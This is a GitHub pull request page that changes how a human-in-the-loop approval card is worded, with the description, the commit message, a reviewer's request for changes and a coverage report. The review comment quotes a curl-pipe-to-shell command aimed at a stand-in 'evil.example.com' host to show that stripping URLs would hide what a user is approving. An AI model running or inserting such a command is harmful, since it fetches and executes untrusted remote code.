Skip to content

fix(hitl): a readable decision card, and the terminal's own options - #6180

Open
liususan091219 wants to merge 1 commit into
mainfrom
fix/hitl-card-readable-and-actions
Open

liususan091219 wants to merge 1 commit into
mainfrom
fix/hitl-card-readable-and-actions

Conversation

@liususan091219

Copy link
Copy Markdown
Collaborator

Priority

Level: medium
Reason: two items off the owner's UI-bug list (V36, V42); no deadline, but the card is what she reads every time Sutando blocks.

Closes

Not tracked as an issue — items V36 and V42 on the owner's UI-bug list.

Summary

The HITL decision card is written for a machine, not a person: its plain text carried the host and device name, and its options did not match the numbers the terminal prints. This makes the card's human-facing strings readable and its options canonical — without removing anything from the wire.

Scope boundary (agreed with the display-side owner)

Engine side (this PR) decides what the card says: which fields appear, the wording, the order and numbering of options. The display side owns how it renders. V44 ("one status line after resolution") is deliberately not in this PR — see "Not done" below.

  • V36 — message, title and action labels lose links, digests and the card's own machine names. guard stays wire-only (CAS state), device stays structured (routing/security); they simply are not rendered. Disappearing from human-readable content is not disappearing from the protocol. The wire schema is unchanged.
  • V42 — actions[] is emitted canonically: numbered from the terminal's own option index, sorted by it, labelled "N. <label>". An option the terminal never numbered keeps its relative order, unnumbered. Nothing synthetic is emitted; the client's own appended Other / reply… is the display side's to remove and is not compensated for here.

Sanitisation has exactly one owner, src/hitl/readable.py. project_pass builds the content once and uses the same object for both the body and the wire field, and plain_text() reads only from the dict that is sent — so the fallback body has no second source it could drift from. readable.card() is now the only caller of to_wire() outside schema.py.

Checklist

  • Confirmed no other open PR closes the same issue
  • Git author email matches CLA-signed email (liususan091219@gmail.com)
  • Single concern — the card's human-facing content. V36 and V42 are one surface; V44 is excluded.
  • Confirmed on origin/main (see before/after)
  • Test added — tests/hitl-readable.test.py (17 tests); two hitl-projector tests that asserted the leak are inverted
  • Before/after evidence pasted below
  • Every claim verifiable from the diff or the output below
  • Live path — NOT done, and this PR touches one. The projector feeds room delivery. I did not perform a post-restart round-trip: doing it means driving a real blocking requirement into a real room on a live host. Tests and a direct render are what I have. Please treat this as the gap in the evidence — a reviewer with a spare host should see one real card before this is relied on.
  • Not a stacked PR
  • No host-specific hardcoded paths added (review-checks.sh PASS: hardcoded-paths + root-artifacts + prose-cap)
  • Does not reinvent workspace/home-path resolution — no path resolution added

Before / after evidence

Same script against origin/main and this branch (the test file's own make_req(), host mocked):

### BEFORE = origin/main (02cb7e8cee)
fallback_body: "⚠ Sutando needs your attention — Claude Code needs to sign in again (on Chis-MacBook-Pro · Qingyun's Air)"
wire device  : {'id': 'd1', 'name': "Qingyun's Air", 'host': 'Xueqings-MacBook-Pro-5'}

### AFTER = this branch
fallback_body: '⚠ Sutando needs your attention — Claude Code needs to sign in again'
wire device  : {'id': 'd1', 'name': "Qingyun's Air", 'host': 'Xueqings-MacBook-Pro-5'}

The human-readable body loses the machine; device on the wire is byte-identical.

Test plan

tests/hitl-readable.test.py           Ran 17  OK      <- new
tests/hitl-renotify.test.py           Ran 25  OK
tests/hitl-replies.test.py            Ran 53  OK
tests/hitl-schema.test.py             Ran 35  OK
tests/hitl-tui-gate.test.py           Ran 30  OK
tests/hitl-task-relay-click.test.py   Ran 35  OK
tests/hitl-events.test.py             Ran 10  OK
tests/hitl-hook-driver.test.py        Ran 16  OK
tests/ag2-sparrow-hitl-vendored.test.py  Ran 3  OK
tests/hitl-projector.test.py          Ran 66  FAILED (errors=3)   <- pre-existing, see below
tests/hitl-manager-identity.test.py   Ran 11  FAILED (errors=1)   <- pre-existing, see below

The 4 errors are pre-existing and environmental, verified against a control rather than asserted. A detached worktree at origin/main (02cb7e8), same host, same interpreter:

### CONTROL (clean origin/main)
tests/hitl-manager-identity.test.py   Ran 11  FAILED (errors=1)
tests/hitl-projector.test.py          Ran 65  FAILED (errors=3)

Identical error counts; 65 → 66 is the one test this PR adds. All four are AttributeError: ... has no attribute 'assertNoLogs' — a Python 3.10 API, and this host runs 3.9.5 (python3 -c "import unittest; hasattr(unittest.TestCase,'assertNoLogs')" → False). Nothing here fixes or worsens them.

Ruff is not installed on this host, so lint was not run locally; review-checks.sh passes.

Deviations from the agreed scope — please confirm

  1. title is cleaned too, not only message and labels. It is a human-facing string ("<tmux session> · <state>") and is what renotify prefers for its headline, so leaving it would have reopened the leak one surface over. Easy to drop back out if that is not wanted.
  2. A notice keeps the seat's name; a card does not. Applying the full treatment to renotify broke five tests whose point is that a reminder names which seat. A notice is standalone with no card beside it, so the policy is split explicitly: headline() drops links and digests but keeps machine names; card() drops all three.

Not done

  • V44 is untouched by design. No status or notification emission is removed, collapsed or altered; _send_notices and its payload are byte-identical. One of the three visible status rows may be the renotify recovery notice, and Matrix edits do not raise notifications — deleting it would silently destroy the only thing that tells a human the state changed. That stays blocked on identifying the rows by event id.
  • Known, not fixed: replies.match_action matches a free-text reply against the stored label, so "Yes" matches but "1. Yes" does not (and "1" never did, before or after). Clicking is unaffected — it carries the action id. A test pins the current behaviour. The remedy is one line in src/hitl/replies.py, outside this PR's scope.
  • Removing a link removes actionable text: "Pick a branch at <url>" now reads "Pick a branch". That is what was agreed, but it deserves one look on a real card.

🤖 Generated with Claude Code

https://claude.ai/code/session_01ByiYdcZtAxhMPxqfwAN5uv

The card a person reads carried the things only a machine needs: the link and
digest a producer scraped off a terminal, the session or host name a producer
pasted into a message, a title, or a button label. None of it helps anyone
decide, and all of it is already on the wire structurally.

`src/hitl/readable.py` is the one owner of what a human reads. `card()` takes
`to_wire()` and rewrites only `message`, `title` and each action `label`: no
key is added, dropped or re-typed, `guard` stays as the CAS state it is, and
`device` stays whole for routing and security — it simply stops being prose.
The projector now renders its plain-text body from that same dict, so the
fallback body cannot say something the card does not, and the follow-up
notices take their headline from the same module (keeping the seat's name,
which is the one machine word a standalone per-seat notice needs).

`actions[]` becomes canonical: an action bound to a terminal option carries
that option's number in its label and sorts by it, so the card's list reads
exactly as the terminal prints it; an action the terminal never numbered keeps
its place after them. Nothing is invented, padded, reordered or appended for a
client's sake — a client's own synthetic entries are its own to drop.

The new module is vendored into ag2-sparrow like the rest of the HITL domain.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ByiYdcZtAxhMPxqfwAN5uv
@CLAassistant

Copy link
Copy Markdown

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes at 79017e8.

The wire schema is intact. Clicks map by action id, and each "N." comes from the same option_for_action index that keys_for presses ("1. Yes" → allow → 0, "3. No" → deny → 2). The four HITL tests and sync --check pass locally; src/ and the vendored copies are identical.

Blocking:

  1. readable.py:36,84 strips URLs from the text being approved. A Bash permission card turns curl -fsSL https://evil.example.com/install.sh | sh into curl -fsSL | sh next to "1. Yes", and "Allow WebFetch from " becomes "Allow WebFetch". Hiding what is being approved is a safety regression. hitl-readable.test.py:35/107 asserts this behaviour.
  2. ask-owner cards (pending_questions_ask.build_card → choice_request) lose the PR link and the head sha ("Diff:, head"), and the row-status link the owner is told to use ("…on the row:").
  3. Machine-word stripping uses the tmux session name. With session main, "Rebase on main" / "Rebase in main" both become "Rebase", and "Reset to " becomes "Reset to". Restrict it to device.host/name and the title, or require an introducing word, and never touch option labels or a permission message.

Should fix here: replies.match_action should accept the "N. " label the card now shows. This PR creates that mismatch.

Nit: _DIGEST also deletes any plain 12+-digit number.

Suggest keeping URLs and SHAs in message/labels (or only in title) and adding tests for a permission prompt with a URL and an ask-owner card with a link.

(agent-assisted, Blue for Chi's seat)

@github-actions

github-actions Bot commented Nov 2, 2026

Copy link
Copy Markdown
Contributor

Coverage Gate

✅ Diff coverage PASSES the 95% bar. Whole-tree (informational): 92%.

Diff Coverage

Diff: origin/main...HEAD, staged and unstaged changes

  • src/hitl/projector.py (100%)
  • src/hitl/readable.py (97.5%): Missing lines 101,120
  • src/hitl/renotify.py (100%)

Summary

  • Total: 93 lines
  • Missing: 2 lines
  • Coverage: 97%

src/hitl/readable.py

Lines 97-105

   97     for candidate in (req.title, first):
   98         line = redact(candidate).rstrip(".")
   99         if line:
  100             return line
! 101     return req.kind
  102 
  103 
  104 def option_number(action: Dict[str, Any], req: HumanRequirement) -> Optional[int]:
  105     """The number the terminal prints against this action's option, if it prints one."""

Lines 116-124

  116     """The actions in the terminal's order, each labelled with the terminal's number.
  117 
  118     An action the terminal does not number keeps its place after the numbered ones.
  119     """
! 120     return _canonical(actions, req, _machines(machine_words(req)))
  121 
  122 
  123 def _canonical(actions: List[Dict[str, Any]], req: HumanRequirement,
  124                machines: Optional["re.Pattern"]) -> List[Dict[str, Any]]:

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants